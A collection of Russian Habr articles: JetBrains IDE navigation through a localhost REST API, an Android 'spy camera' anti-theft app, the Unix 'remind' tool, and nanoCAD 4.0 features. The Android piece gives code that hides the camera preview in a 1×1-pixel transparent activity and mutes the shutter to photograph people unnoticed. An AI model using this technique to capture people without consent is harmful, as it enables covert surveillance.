[Поддержка EAP-PAP на устройствах Juniper для MAC RADIUS Authentication](https://apps.juniper.net/feature-explorer/feature-info.html?fKey=7076&fn=EAP-PAP%20protocol%20support%20for%20MAC%20RADIUS%20authentication)
[Комьюнити UBNT, давшее последний пинок в нужном направлении](https://community.ubnt.com/t5/UniFi-Routing-Switching/802-1x-MAC-authentication-with-NPS-RADIUS-on-UniFi-switch/m-p/2619736#M125685) | https://habr.com/ru/post/437408/ | null | ru | null |
# Навигация по коду в IDE от JetBrains с использованием REST API и командной строки
При разработке приложений часто приходится сталкиваться с необходимостью просмотра вывода exception stack trace (в логах или при debug-инге). Хотелось бы иметь возможность автоматически попадать в необходимое место кода, прямо кликом по строке в выводе stack trace в браузере или в терминале.
Если вы являетесь пользователем одного из последних продуктов компании [JetBrains](https://www.jetbrains.com/) (в частности PhpStorm), вы можете использовать для этих целей внутреннее REST API (для навигации из браузера) и command line launcher (для навигации в терминале).
Навигация в браузере
====================
Частичное описание методов REST API IDE от JetBrains можно посмотреть здесь:
» [<http://develar.org/idea-rest-api/>](http://develar.org/idea-rest-api/)
Одним из методов этого API является возможность открыть файл проекта и переместиться на произвольную позицию в этом файле внутри самой IDE.
Обращения к вызовам методов API осуществляется через вызов по адресу `http://localhost:63342/`
Пример вызова API для открытия файла выглядит как:
`http://localhost:63342/api/file?file=src/path/to/file.php&line=100&column=34`
где:
**file** — относительный или абсолютный путь файла
**line** — строка в файле, куда нужно переместить курсор
**column** — позиция на указанной строке
Для того чтобы убрать сообщение, которое каждый раз появляется при вызове API в IDE, можно в настройках: `Build, Execution, Deployment → Debugger` поставить галочку *"Allow unsigned request"* (либо каждый раз придется в диалоге кликать на кнопку Ok).
Пример обработки вывода стандартного getTraceAsString() в php
=============================================================
Ниже показан Regexp, обрабатывающий стандартный вывод stack trace у Exception через [getTraceAsString()](http://php.net/manual/ru/exception.gettraceasstring.php)
```
try {
// some code
}(\Exception $e){
$traceAsString = preg_replace('/#(\d+) (.+?\.php)\((\d+)\):/', '#$1 [$2($3):](#)', $e->getTraceAsString() );
// some code
}
```
Каждая строка в Exception становится ссылкой, клик на которую открывает в IDE файл на нужной строке.
Также необходимо подключить JS функцию, которая будет непосредственно "дергать" метод API.
```
function _goToEditorCodeLine(file, line){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "http://localhost:63342/api/file?file=" + file + "&line=" + line, true);
xmlhttp.send();
}
```
Пример реализации на примере обработки Exception в Symfony 3
============================================================
Поскольку в настоящий момент я работаю с Symfony, я на конкретном примере покажу как модифицировать страницу со стандартным Exception чтобы реализовать открытие в IDE файла.
Для того, чтобы переопределить кусочек шаблона, который отвечает за вывод страницы Exception необходимо в папке `app/Resources/TwigBundle/views/Exception/` создать два файла
* exception.html.twig
* trace.html.twig
В файле exception.html.twig добавить простейшую функцию `_goToEditorCodeLine()`, код которой описан выше.
В файле trace.html.twig найдем место вывода строки и добавим в конец стрелку, нажатие на которую будет осуществлять открытие файла в IDE.
```
in {{ trace.file|format_file(trace.line) }} [→](#)
```
После этого в строке stack trace появлется стрелка, нажатие на которую открывает в IDE файл и перемещает курсор на нужную позицию.
Итоговый вариант двух файлов для Symfony 3 можно [посмотреть здесь](https://github.com/dlevsha/ide-code-navigation).
Интеграция с командной строкой в iTerm2
=======================================
Если вы работаете в MacOS и используете iTerm2, можно провести интеграцию iTerm2 и Command Line Launcher соответствующей IDE, что позволит открывать файлы в IDE прямо из терминала.
Для установки launcher-а необходимо в IDE вызвать меню `Tool → Create Command-line Launcher...` и в диалоговом окне подтвердить путь, куда launcher будет установлен. В моем случае это `/usr/local/bin/phpstorm` (или `/usr/local/bin/pstorm` для более ранних версий) для IntelliJ IDEA это `/usr/local/bin/idea`.
Данный launcher позволяет, при вызове из командной строки, открывать файл и переходить на нужную строку в нем.
Пример вызова:
`/usr/local/bin/phpstorm --line 40 /path/to/file`
или
`/usr/local/bin/phpstorm /path/to/file:40`
В обоих случаях будет открыт файл `/path/to/file` на 40 строке.
Теперь сделаем интеграцию command line launcher и iTerm2. Идем в Edit Session → Advanced.
В секции `Semantic History`, из выпадающего списка, выбираем `run command...` и вводим:
`/usr/local/bin/phpstorm --line \2 \1`
Теперь если нажать Cmd и навести стрелку курсора на какой либо файл в терминале — он станет ссылкой и клик по нему осуществит его открытие в IDE.
Если у вас логи имеют вид `/path/to/file/:40`, т.е. номер строки указан через двоеточие после файла — тогда IDE будет открывать файл прямо на этой строке.
Проблема c логами php-exception в том, что вывод имеет вид `/path/to/file/(40)`, т.е. строка в файле стоит в скобках. В результате этого файл открывается, но на нужную строку не переходит.
Для решения этой проблемы можно преобразовать вывод лога в нужный нам формат, используя потоковый редактор sed.
`sed -E 's/#([0-9]+) (.+\.php)\(([0-9]+)\):/#\1 \2:\3/g'`
Пример обработки вывода функции tail
`tail test.log | sed -E 's/#([0-9]+) (.+\.php)\(([0-9]+)\):/#\1 \2:\3/g'`
В заключении еще раз хотел бы подчеркнуть, что данная схема работает практически с любым языком и любой IDE от JetBrains. | https://habr.com/ru/post/315690/ | null | ru | null |
# «Шпионская» камера в Android
Привет, %username%! Сегодня я хочу поделиться опытом разработки одного приложения для Android и трудностями, с которыми пришлось столкнуться при не совсем честном использовании камеры.
Идея приложения «Страж» жила внутри отдела разработки достаточно давно, но первая реализация появилась на платформе Symbian 2 года назад. Сама идея незамысловата – делать фотографии человека, взявшего телефон в руки. В первой реализации приложение было разделено на сигнальные модули и модули обратных вызовов. Сигнальные модули отвечали за регистрацию изменений определённого состояния телефона. Например: извлечение или установка SIM-карты или карты памяти, входящий или исходящий звонок, или совсем хитрые – главным сенсором был сенсор акселерометра, который определял момент поднятия телефона со стола. Модули обратных вызовов – это действия, которые выполняются по сигналам сенсоров. Были реализованы фотография и запись звука.
При портировании приложения на платформу Android подход заметно поменялся. Да и вообще от старого приложения осталась только идея, оно перестало быть модульным, а из всего функционала остался только функционал фотографирования. О реализации этого функционала и хочется рассказать.
#### Делаем фотографию
Сначала приведу вольный перевод официальной документации, касающейся вопроса пользования камерой.
* За фотографии в Android отвечает класс [Camera](http://developer.android.com/reference/android/hardware/Camera.html).
```
```
Чтобы получить картинку нужно:
1. Найти Id нужной камеры, используя методы [getNumberOfCameras](http://developer.android.com/reference/android/hardware/Camera.html#getNumberOfCameras()) и [getCameraInfo](http://developer.android.com/reference/android/hardware/Camera.html#getCameraInfo(int, android.hardware.Camera.CameraInfo)) );
2. Получить ссылку на объект камеры методом [open](http://developer.android.com/reference/android/hardware/Camera.html#open(int)) .
3. Получить текущие (по-умолчанию) настройки методом [getParameters](http://developer.android.com/reference/android/hardware/Camera.html#getParameters()) .
4. При необходимости изменить параметры и установить их заново методом [setParameters](http://developer.android.com/reference/android/hardware/Camera.html#setParameters(android.hardware.Camera.Parameters)) ;
5. При необходимости установить ориентацию камеры методом [setDisplayOrientation](http://developer.android.com/reference/android/hardware/Camera.html#setDisplayOrientation(int)) (НЕТ вертикальному видео!);
6. **ВАЖНО:** Передать в метод [setPreviewDisplay](http://developer.android.com/reference/android/hardware/Camera.html#setPreviewDisplay(android.view.SurfaceHolder)) правильно инициализированный объект [SurfaceHolder](http://developer.android.com/reference/android/view/SurfaceHolder.html). Если этого не сделать, то камера не сможет начать превью.
7. **ВАЖНО:** Вызвать метод [startPreview](http://developer.android.com/reference/android/hardware/Camera.html#startPreview()) ), который начнет обновлять SurfaceHolder. Вы **ОБЯЗАНЫ** начать превью перед тем как сделать снимок.
8. Наконец-то вызвать метод [takePicture](http://developer.android.com/reference/android/hardware/Camera.html#takePicture(android.hardware.Camera.ShutterCallback, android.hardware.Camera.PictureCallback, android.hardware.Camera.PictureCallback, android.hardware.Camera.PictureCallback)) и дождаться когда данные вернуться в [onPictureTaken](http://developer.android.com/reference/android/hardware/Camera.PictureCallback.html#onPictureTaken(byte[], android.hardware.Camera)) ;
9. После вызова метода takePicture превью будет остановлено. Если нужно сделать еще фото, то придется вызвать startPreview снова;
10. Если же камера больше не нужна, то сначала нужно остановить превью методом stopPreview;
11. **ВАЖНО:** Вызвать метод release() чтобы освободить ресурсы камеры для других приложений. Приложение должно немедленно освобождать ресурсы камеры в методе [onPause](http://developer.android.com/reference/android/app/Activity.html#onPause()) (и получать их обратно в методе [onResume](http://developer.android.com/reference/android/app/Activity.html#onResume()) ).
Данный класс не потокобезопасный. Большинство операций (превью, фокусировка, получение фото) асинхронны и возвращают результат через коллбэки, которые будут вызваны в том же потоке, в котором был вызван метод open. Методы данного класса ни в коем случае не должны вызываться сразу из нескольких потоков.
**Предупреждение:** Разные устройства на ОС Android могут иметь разные возможности камеры (например, разрешение, возможность автофокусировки и т.п.).
Здесь перевод заканчивается и начинается самое интересное.
Из всего вышеперечисленного в глаза бросаются следующие проблемы:
1. Надо показывать превью.
2. На разных устройствах камера может работать по-разному.
С ними-то мы и будем бороться.
Когда возникает проблема из разряда «в доках написано, что так сделать нельзя», перво-наперво нужно заглянуть в исходники. Из них стало понятно, что прорисовка превью вынесена на уровень нативного кода setPreviewDisplay(Surface). Была принята попытка быстро разобраться в том, как вообще система определяет, стартовали мы превью или нет. Быстро пробраться через тернии C++ кода не получилось, поэтому я пошёл по пути наименьшего сопротивления — создал превью, но отобразил его незаметно для пользователя. Если поискать на stackoverflow, то можно найти другой способ – передавать в setPreviewDisplay SurfaceHolder, созданный динамически. А раз объект не добавлен в разметку Activity, то и отображаться он не будет. К сожалению, данный метод работает только для старых версий Android (до 3.0, если не ошибаюсь). В новых версиях разработчики исправили данное недоразумение.
Таким образом, приходим к единственному выводу – мы должны так или иначе отобразить превью на экране, вопрос теперь только в том, можно ли сделать это незаметно? К счастью, ответ – «да, можно». И вот что для этого нужно:
1. Прозрачная Activity.
2. FrameLayout размером 1 на 1 пиксель в левом верхнем углу нашей Activity.
Прозрачное Activity делается одной строчкой манифеста, для этого определим её так:
```
```
и создадим для нее следующую несложную разметку:
```
xml version="1.0" encoding="utf-8"?
```
Объект SurfaceHolder создается и добавляется в разметку динамически. В принципе можно было добавить его сразу в разметку, данный момент был вынесен в код, чтобы не лезть в разметку при необходимости переопределить поведение объекта.
Итак, прозрачное Activity есть, SurfaceHolder создаем динамически, что дальше? Дальше дело за главным – инициализировать камеру и сделать фото. Идея здесь в том, чтобы сделать фото сразу на старте Activity и закрыть её как можно быстрее. Определим нашу Activity так:
```
public class CameraActivity extends Activity implements Camera.PictureCallback, SurfaceHolder.Callback
{
private static final int NO_FRONT_CAMERA = -1;
private Camera mCamera;
private boolean mPreviewIsRunning = false;
private boolean mIsTakingPicture = false;
public class CameraPreview extends SurfaceView
{
public CameraPreview(Context context)
{
super(context);
}
}
...
```
Таким образом, в неё будут сыпаться события от SurfaceHolder’а (surfaceCreated, surfaceChanged, surfaceDestroyed) и Camera (onPictureTaken). Внутренний класс CameraPreview нужен исключительно для того, чтобы, как я отмечал выше, быстро и безболезненно внести правки в поведение нашего SurfaceView в случае необходимости. Далее приведу скопом методы Activity
**Немного кода**
```
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.surface_holder);
SurfaceView surfaceView = new CameraPreview(this);
((FrameLayout) findViewById(R.id.surfaceHolder)).addView(surfaceView);
SurfaceHolder holder = surfaceView.getHolder();
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.HONEYCOMB)
holder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
holder.addCallback(this);
}
@Override
protected void onResume()
{
startPreview();
super.onResume();
}
@Override
protected void onPause()
{
stopPreview();
super.onPause();
}
@Override
public void surfaceCreated(SurfaceHolder surfaceHolder)
{
final int cameraId = getFrontCameraId();
if (cameraId != NO_FRONT_CAMERA)
{
try
{
mCamera = Camera.open(cameraId);
Camera.Parameters parameters = mCamera.getParameters();
if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_PORTRAIT)
parameters.setRotation(270);
List flashModes = parameters.getSupportedFlashModes();
if (flashModes != null && flashModes.contains(Camera.Parameters.FLASH\_MODE\_OFF))
parameters.setFlashMode(Camera.Parameters.FLASH\_MODE\_OFF);
List whiteBalance = parameters.getSupportedWhiteBalance();
if (whiteBalance != null && whiteBalance.contains(Camera.Parameters.WHITE\_BALANCE\_AUTO))
parameters.setWhiteBalance(Camera.Parameters.WHITE\_BALANCE\_AUTO);
List focusModes = parameters.getSupportedFocusModes();
if (focusModes != null && focusModes.contains(Camera.Parameters.FOCUS\_MODE\_AUTO))
parameters.setFocusMode(Camera.Parameters.FOCUS\_MODE\_AUTO);
List sizes = parameters.getSupportedPictureSizes();
if (sizes != null && sizes.size() > 0)
{
Camera.Size size = sizes.get(0);
parameters.setPictureSize(size.width, size.height);
}
List previewSizes = parameters.getSupportedPreviewSizes();
if (previewSizes != null)
{
Camera.Size previewSize = previewSizes.get(previewSizes.size() - 1);
parameters.setPreviewSize(previewSize.width, previewSize.height);
}
mCamera.setParameters(parameters);
if (Build.VERSION.SDK\_INT >= Build.VERSION\_CODES.JELLY\_BEAN\_MR1)
mCamera.enableShutterSound(false);
}
catch (RuntimeException e)
{
A.handleException(e, true);
finish();
return;
}
}
else
{
Log.e(Value.LOG\_TAG, "Could not find front-facing camera");
finish();
return;
}
try
{
mCamera.setPreviewDisplay(surfaceHolder);
}
catch (IOException ioe)
{
A.handleException(ioe, true);
finish();
}
}
@Override
public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height)
{
startPreview();
}
@Override
public void surfaceDestroyed(SurfaceHolder surfaceHolder)
{
releaseCamera();
}
@Override
public void onPictureTaken(byte[] bytes, Camera camera)
{
mIsTakingPicture = false;
releaseCamera();
//noinspection PrimitiveArrayArgumentToVariableArgMethod
new SaveImageTask().execute(bytes);
finish();
}
private int getFrontCameraId()
{
final int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; i < numberOfCameras; i++)
{
Camera.CameraInfo info = new Camera.CameraInfo();
Camera.getCameraInfo(i, info);
if (info.facing == Camera.CameraInfo.CAMERA\_FACING\_FRONT) return i;
}
return NO\_FRONT\_CAMERA;
}
private void startPreview()
{
if (!mPreviewIsRunning && mCamera != null)
{
try
{
mCamera.startPreview();
mCamera.autoFocus(new Camera.AutoFocusCallback()
{
@Override
public void onAutoFocus(boolean b, Camera camera)
{
if (!mIsTakingPicture)
{
try
{
mIsTakingPicture = true;
mCamera.setPreviewCallback(null);
mCamera.takePicture(null, null, CameraActivity.this);
}
catch (RuntimeException e)
{
A.handleException(e, true);
finish();
}
}
}
});
mPreviewIsRunning = true;
}
catch (Exception e)
{
A.handleException(e, true);
finish();
}
}
}
private void stopPreview()
{
if (!mIsTakingPicture && mPreviewIsRunning && mCamera != null) {
mCamera.stopPreview();
mPreviewIsRunning = false;
}
}
private void releaseCamera()
{
if (mCamera != null)
{
mCamera.setPreviewCallback(null);
mCamera.stopPreview();
mCamera.release();
mCamera = null;
}
}
```
Что интересного в данном коде? Распишу по пунктам.
1. Самое важное – порядок вызова методов. В документации говорится, что нужно вызвать и в каком порядке, но не указывается когда именно. Например, метод setPreviewDisplay. Если инициализировать камеру и вызвать этот метод сразу в onCreate или в onResume, то фото сделать не получится. Тогда откуда узнать, когда нужно вызывать этот метод? Правильный ответ – из комментариев к методу [setPreviewDisplay](http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.3_r2.1/android/hardware/Camera.java#Camera.setPreviewDisplay%28android.view.SurfaceHolder%29) в исходниках. Вот небольшая выдержка оттуда:
> The android.view.SurfaceHolder must already contain a surface when this method is called. If you are usingandroid.view.SurfaceView, you will need to register a android.view.SurfaceHolder.Callback withandroid.view.SurfaceHolder.addCallback(android.view.SurfaceHolder.Callback) and wait forandroid.view.SurfaceHolder.Callback.surfaceCreated(android.view.SurfaceHolder) before calling setPreviewDisplay() or starting preview.
>
> This method must be called before startPreview().
>
>
2. Второй момент связан с жизненным циклом объекта SurfaceHolder относительно Activity. Жизненный цикл Activity можно найти в документации, а вот с SurfaceHolder’ом всё непонятно, поэтому пришлось выяснять это опытным путём:
```
onCreate(Bundle savedInstanceState)
onResume()
onPause()
surfaceCreated(SurfaceHolder surfaceHolder)
surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height)
onStop()
surfaceDestroyed(SurfaceHolder surfaceHolder)
```
3. Следующий интересный момент связан с порядком вызовов методов жизненного цикла Activity. Вы можете спросить: «Зачем нужны все эти проверки в духе if (mCamera != null) и переменные mPreviewIsRunning, mIsTakingPicture?». К сожалению, единственный ответ, который я могу дать в данном случае – так надо. И дело тут в том, что в некоторых ситуациях порядок вызовов методов жизненного цикла Activity может отличаться от указанного в официальных доках (от вот этой диаграммы, [например](http://developer.android.com/images/activity_lifecycle.png) ). В основном казусы происходят, когда на телефоне включена блокировка экрана. У меня бывали случаи, когда метод onStop вызывался два раза подряд, а после этого, минуя onStart, как ни в чём не бывало, вызывался onResume. При этом порядок вызова методов может отличаться на разных аппаратах, даже не смотря на одну и ту же версию Android на борту. Я долго пытался в этом разобраться, понять, почему это происходит. В результате только потратил на это кучу времени и написал текущую реализацию.
Итак, настало время немного обобщить происходящее. Вот что происходит в приложении:
1. Стартуем Activity на нужное событие (в моем случае — на включение экрана).
2. В onCreate создаем SurfaceHolder и регистрируем Activity для получения коллбэков.
3. Ждем вызова surfaceCreated и в нём инициализируем камеру.
4. После того, как камера инициализирована, пытаемся вызвать takePicture. Поскольку порядок вызова методов сильно зависит от аппарата, версии ОС и типа блокировки экрана, пытаемся в методах onResume| surfaceChanged стартовать превью, а в onPause останавливать её. При этом onResume| onPause могут случиться как до, так и после surfaceCreated, поэтому везде проверяем камеру на «инициализированность».
5. Метод surfaceChanged, согласно документации, гарантированно вызывается хотя бы раз после surfaceCreated, но теоретически может быть вызван еще сколько угодно раз в процессе получения фотографии. Добавляем переменную mPreviewIsRunning для того, чтобы ненароком не стартануть превью несколько раз. Стартуем превью, вызываем takePicture, ждём.
6. Ловим фотографию в onPictureTaken. Освобождаем камеру, создаем AsyncTask для сохранения картинки, закрываем Activity.
Таким образом, общий порядок вызовов получается следующий:
```
onCreate(Bundle savedInstanceState)
onResume()
onPause()
surfaceCreated(SurfaceHolder surfaceHolder)
surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height)
onPictureTaken(byte[] bytes, Camera camera)
onStop()
surfaceDestroyed(SurfaceHolder surfaceHolder)
```
#### Заключение
Приложение работает и стабильно делает фотки на моём телефоне (Nexus 4). Кроме него тестировал и на других моделях, в том числе Motorola Droid RAZR и HTС Sensation. Как я уже упоминал выше – на разных телефонах камеры работают по-разному. На некоторых телефонах, когда делается фото, слышен звук затвора. На других – фотография повернута не в ту сторону и исправляется это только редактированием EXIF’а. На некоторых телефонах и вовсе (я полагаю, из-за особенностей оболочки) порядок вызова методов жизненного цикла Activity может заметно отличаться. Связано всё это не только с огромным количеством производителей устройств на Android’е, но и с невероятной фрагментацией самой ОС (интересную заметку по этому поводу можно найти на 57 странице 1 номера журнала «Хакер» за 2014 год). Поэтому очень сильно хотелось бы:
1. Добавить профили для разных моделей телефонов и делать фотографию с учетом этого профиля. Например, для телефонов, издающих звук затвора при фотографировании добавить мьют непосредственно перед фотографированием.
2. Хорошенько погонять приложение на большом наборе тестовых моделек и попытаться понять причину различия в вызове методов Activity.
3. Поглубже закопаться в исходники Android’а. Залезть, наконец, в нативную часть и разобраться, почему takePicture можно вызывать только после инициализации превью. Подумать, как еще можно с этим бороться.
Это все вопрос развития в недалеком будущем.
Сейчас же приложение доступно на Google.Play в текущей версии. Оно бесплатно, поскольку главной целью при его создании было исследование глубин Андроида. Для интересующихся **[ссылка на google.play](https://play.google.com/store/apps/details?id=com.vulkan.guardian)**.
Спасибо за внимание! | https://habr.com/ru/post/215693/ | null | ru | null |
# Unix-way напоминалка
На хабре много пишут о повышении эффективности своей работы, важной составляющей этого процесса является управление своим временем. С моей точки зрения без инструмента хорошо управлять временем не получится, либо ты погрузился в задачу, забыл обо всё и эффективно над ней работаешь, либо ты постоянно дёргаешься проверяя не пришло ли время переключиться на что-то, тем самым теряя эффективность.
Поиск по хабру показал что ещё никто не рассказывал об инструменте, который я решил использовать. Важным отличием этого инструмента является то, что это настоящий unix-way, что намекает на одинаковую её работу на всех GNU/Linux дистрибутивах, хотя по слухам утилита работает и на ОС от Apple и даже на MS Windows (cygwin), хотя автор не очень рад такому использованию.
Итак, представляют вам утилиту [remind](http://www.roaringpenguin.com/products/remind), концепция достаточно проста — всё события вносятся в конфигурационный файл со специальным синтаксисом, например:
хотим каждый рабочий день напоминание об обеде:
`REM Mon Tue Wed Thu Fri AT 12:30 MSG Пора кормиться`
возможно об обеде лучше начать напоминать за 10 минут, каждые 5 минут:
`REM Mon Tue Wed Thu Fri AT 12:30 +10 *5 MSG Обед`
Синтаксис утилиты достаточно богатый, о нём можно почитать в [man](http://linux.die.net/man/1/remind) и в статьях указанных в конце заметки.
После того как расписание занесено в файл нужно запустить remind в демоническом режиме:
`remind -z "-k/usr/bin/zenity --info --title=Remind --text=\%s" /home/worldmind/.reminders &`
как видите для вывода графических напоминалок использовался упоминавшийся на хабре [zenity](http://habrahabr.ru/tag/zenity/), но вместо него могут использоваться и другие утилиты, например xmessage или gxmessage.
Запускать демон можно руками, из инициализирующих скриптов шелла или средствами графической оболочки, как вам удобнее.
Надеюсь благодаря это утилите вы перестанете забывать про обед, дни рождения родных, [совещания](http://demotivation.me/dsisyeynqou1pic.html) и ключевые точки рабочего процесса.
Несколько полезных ссылок
[www.linuxjournal.com/article/3529](http://www.linuxjournal.com/article/3529)
[wiki.43folders.com/index.php/Remind\_use\_case\_1](http://wiki.43folders.com/index.php/Remind_use_case_1) | https://habr.com/ru/post/130330/ | null | ru | null |
# nanoCAD 3.7 vs 4.0 – что появилось нового? (часть №1)
[](http://habrahabr.ru/company/nanosoft/blog/149873/)
Этим летом в нашей компании произошло два события: выпуск новой версии nanoCAD 4.0 и обновление бесплатной версии nanoCAD 3.5 до версии 3.7 (о причинах такого шага мы рассуждали в предыдущей статье «[Двойная звезда nanoCAD: бесплатный 3.7 и платный 4.0](http://habrahabr.ru/company/nanosoft/blog/149628/)»). И, конечно, от пользователей начали поступать вопросы: чем отличаются? а что лучше использовать? Для ответа на эти вопросы, конечно, надо забраться в техническое описание новых функций каждого продукта и сравнить. А затем решить для себя, что вам для работы подходит больше.
Мы решили вам немного помочь — описывая каждую новую/оптимизированную функцию, мы поставим рядом с ней специальный значок — в какую версию программы она включена… А уже вы выбирайте решение под себя.
Начнем с новых функций, которых раньше не было в nanoCAD…
### Некоторые предварительные заявления
*Заявление №1*: в целом ядро nanoCAD не поменялось — с технической точки зрения и 3.7, и 4.0 – идентичны. Это означает, что ошибки, найденные в предыдущих версиях, исправлены одновременно и там, и там.
*Заявление №2*: nanoCAD 4.0 — в основном нацелен на профессиональных пользователей. Это значит, что в версию 4.0 включены функции, автоматизирующие черчение. Поэтому можно сказать, что работа в nanoCAD 4.0 более производительная. Это основной посыл при функциональном разделении версии 4.0 и 3.7.
*Заявление №3*: nanoCAD 3.7 — это массовый электронный кульман. Инструмент для производства и выпуска чертежей. С минимальными средствами автоматизации. Считается, что в nanoCAD 3.7 производительность не так важна и у пользователя есть время на более скрупулезное черчение. При этом бесплатная версия nanoCAD юридически и лицензионно дает право коммерческого использования. Сделано специально, чтобы пользователь не заморачивался по поводу вопросов: «а можно ли использовать в этом случае?», «а если я принесу на работу?»… Несите, работайте, используйте… Главное не хакайте :-)
### Новый функционал
Исторически сложилось так, что мы все новшества разделяем на три категории:* Новый функционал — т.е. функции, которых раньше еще не было в nanoCAD;
* Оптимизированный функционал — т.е. функции, которых раньше были, но по отзывам пользователей их пришлось улучшить, оптимизировать;
* Исправленный функционал — т.е. функции, которые, как выяснилось по результатам массового использования, работали некорректно. К несчастью, мы тоже допускаем ошибки; Слава Богу, что исправляем :-)
Итак, в этом посте мы посмотрим на новый функционал, который призван повысить удобство работы над чертежами и умножить число пользователей nanoCAD.
#### Расширенная работа со слоями
Начнем с одной из часто используемых функций любой САПР – работы со слоями. В nanoCAD 4.0 набор инструментов для этих целей существенно расширился: в меню *Формат/Инструменты слоя* и на новой панели инструментов *Слои 2* (рис. 2а и 2б) представлены восемь новых команд. Среди них *Изолирование слоя* (быстро скрыть слои невыделенных объектов), *Сделать слой объекта текущим* (и таким образом быстро сменить текущий слой), возможность показать/скрыть/заморозить/закрыть/открыть слой выбранного объекта.
Кроме того, на панель *Слои 2* выведены списки конфигураций и групп слоев, что позволяет быстро переключаться между различными наборами настроек – очень удобно при работе с насыщенными чертежами (в nanoCAD 3.7 эти списки вынесены на панель *Свойства*).
```
а) Новая панель Слои2
```
```
б) Меню Формат\Инструменты слоя
```
```
Рис. 1. Новая панель Слои 2 и дополнительные инструменты для работы со слоями в nanoCAD 4
```
Также приятное усовершенствование появилось в диалоге *Слои*: двойной щелчок на разделителе столбцов в заголовке таблицы обеспечит автоматический подбор ширины столбца – этот способ привычен по программам Windows.
#### Команда *Обход слоев*
Отдельно стоит упомянуть команду *Обход слоев* (*laywalk*), которую разработчики даже вынесли на стандартную панель *Свойства*, настолько она удобна и важна для черчения. Принцип работы этой команды (несколько отличающийся от аналогичной команды в других САПР-программах) логичен и прост. Команда сначала отключает видимость всех слоев, кроме текущего, а затем динамически включает/отключает видимость указанных слоев в выпадающем списке слоев панели *Свойства* (рис. 2). Это позволяет быстро анализировать структуру \*.dwg-чертежа и моментально возвращаться к исходному состоянию – попробуйте и сами оцените удобство такого решения!
Кстати, если выбрать какие-либо объекты на чертеже, то, вызвав команду *Обход слоев*, вы сразу оставите включенными слои, на которых выбранные объекты расположены…
```
Рис. 2. Команда Обход слоев позволяет быстро анализировать структуру *.dwg-чертежа и моментально возвращаться к исходному состоянию
```
#### Дополнительные режимы редактирования через ручки выделенных объектов
Все пользователи знают, что такое ручки выделения: если выбрать на чертеже те или иные объекты, у них появляются специальные точки, посредством которых выделенные примитивы редактируются. В предыдущих версиях nanoCAD эти ручки позволяли быстро редактировать форму многоугольников, нажимая клавишу CTRL: добавлять/удалять вершины, скруглять грани. В версии 4.0 у ручек появились дополнительные режимы, перебираемые клавишей ПРОБЕЛ или ENTER: перемещение, поворот, масштаб и зеркало (рис. 3). Работать над чертежом стало привычнее и намного приятнее.
```
Рис. 3. nanoCAD позволяет, «цепляясь» за ручки, циклически перебирать режимы работы с выделенными объектами: перемещать вершины, перемещать все выделенные объекты, поворачивать их, масштабировать или зеркалить
```
#### Команда *ТЕКСТ2МТЕКСТ*
Опытные пользователи САПР знают замечательную функцию из набора *ExpressTools*, конвертирующую набор однострочных текстов в более современный многострочный текст. Теперь аналогичная команда есть и в nanoCAD – работая над чертежами, вы можете быстро конвертировать один формат текста в другой. Просто наберите в командной строке *TEXT2MTEXT* или краткий алиас *T2MT*.
#### Вставка блока с жесткого диска
В nanoCAD 4 появилось малозаметное на первый взгляд, но очень полезное усовершенствование диалога *Вставка блока*, которое здорово упростит жизнь проектировщика. Я говорю о новой кнопке *Открыть…* в диалоге *Вставка/Блок...*, которая предоставляет пользователю возможность вставлять в текущий документ любой \*.dwg-чертеж в виде блока (рис. 4). Думаю, нет необходимости долго расписывать, насколько удобно теперь использовать библиотеку стандартных изделий, выполненных в отдельных \*.dwg-файлах. Щелчок – и указанный вами блок подгружен в текущий проект!
```
Рис. 4. Новый диалог Вставка блока позволяет использовать внешний *.dwg-файл как вхождение блока
```
#### Привязки к растровым объектам
Как вы, наверное, знаете, во всех САПР растровые изображения, размещенные в \*.dwg-чертеже, – это просто фоновая подложка. Вы можете чертить поверх нее, включать/отключать ее видимость, однако доступа к содержимому самого растрового изображения у вас нет. Но не в nanoCAD! Для новой версии nanoCAD монохромный растровый чертеж – это не просто подложка; это набор объектов, к которым можно привязаться (рис. 5). А значит черчение поверх растра осуществляется не на глазок, а быстро и точно.
Для работы с этой функцией вам достаточно выбрать в меню настройки привязок новый тип привязки – *Растр*. Далее просто наведите курсор на растровую линию, и вы поймаете все типы стандартных привязок (ближайшая, конточка, центр, квадрант и т.д.).
```
а) растровая привязка в действии
```
```
б) настройки растровой привязки
```
```
Рис. 5. В nanoCAD 4 появилась возможность привязываться к объектам на монохромном растровом изображении – просто убедитесь, что в настройках включен этот тип привязки
```
Для чего можно применять эту функцию? Например, чтобы быстро «сколоть» растровый чертеж и получить векторный документ. Или просто доработать участок отсканированного чертежа. Или доработать типовой чертеж из базы NormaCS, поместив его в nanoCAD через буфер обмена… Областей применения этой уникальной функции много, а найдете вы ее только в nanoCAD 4!
#### Печать в PDF-формат
Хотя в операционной системе можно выбрать и установить виртуальный PDF-принтер на любой вкус, многие пользователи просили включить возможность вывода документации в формат PDF именно в штатную поставку nanoCAD. Версия 4.0 отвечает и этим пожеланиям: в списке принтеров диалога *Печать* появился дополнительный виртуальный *Встроенный PDF-принтер*. А диалог *Печать в PDF* (рис. 6), который вызывается нажатием кнопки *Настройка*, расположенной рядом с принтером, позволяет задавать дополнительные параметры вывода чертежей: различные форматы бумаги (в том числе кратные), разрешение печати, папку сохранения, режим печати (добавлять новые листы в существующий лист или заменять старые варианты).
```
а) Встроенный PDF-принтер…
```
```
б) …и его настройки
```
```
Рис. 6. Пользователи nanoCAD 4.0 могут печатать документацию в формате PDF с помощью встроенного в программу PDF-принтера
```
#### Улучшения, связанные с печатью
Конечно, встроенный PDF принтер – мощная функция, которая придется по душе практически любому проектировщику. Но в систему печати внесены и другие улучшения. Например, в диалоге *Печать* появился новый параметр *Цветозависимый режим*, который управляет составом раскрывающегося списка *Таблица стилей печати*. При взведенном флажке в списке отображаются цветозависимые стили печати (\*.ctd), а при снятом – именованные (\*.std) (см. рис.7).
```
